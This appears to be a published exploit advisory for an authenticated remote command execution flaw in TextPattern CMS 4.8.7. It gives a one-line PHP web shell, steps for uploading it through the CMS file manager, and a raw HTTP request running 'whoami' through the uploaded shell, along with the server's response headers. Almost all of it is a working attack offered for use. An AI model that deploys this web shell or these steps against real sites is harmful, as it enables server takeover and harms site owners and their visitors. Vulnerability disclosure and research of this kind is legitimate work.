TextPattern CMS 4.8.7 Remote Command Execution

TextPattern CMS version 4.8.7 suffers from an authenticated remote command execution vulnerability.

MD5 | 590f982083de80faa52ccf37dcfdbb31

# Exploit Title : TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)
# Date : 2021/09/06
# Exploit Author : Mert Daş [email protected]
# Software Link : https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web : https://textpattern.com/
# Tested on: Server : Xampp

First of all we should use file upload section to upload our shell.
Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>

1) Go to content section .
2) Click Files and upload malicious php file.
3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;

After upload our file , our request and respons is like below :


GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Gecko/20100101 Firefox/89.0
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;
Upgrade-Insecure-Requests: 1


HTTP/1.1 200 OK
Date: Thu, 10 Jun 2021 00:32:41 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20
X-Powered-By: PHP/7.4.20
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8


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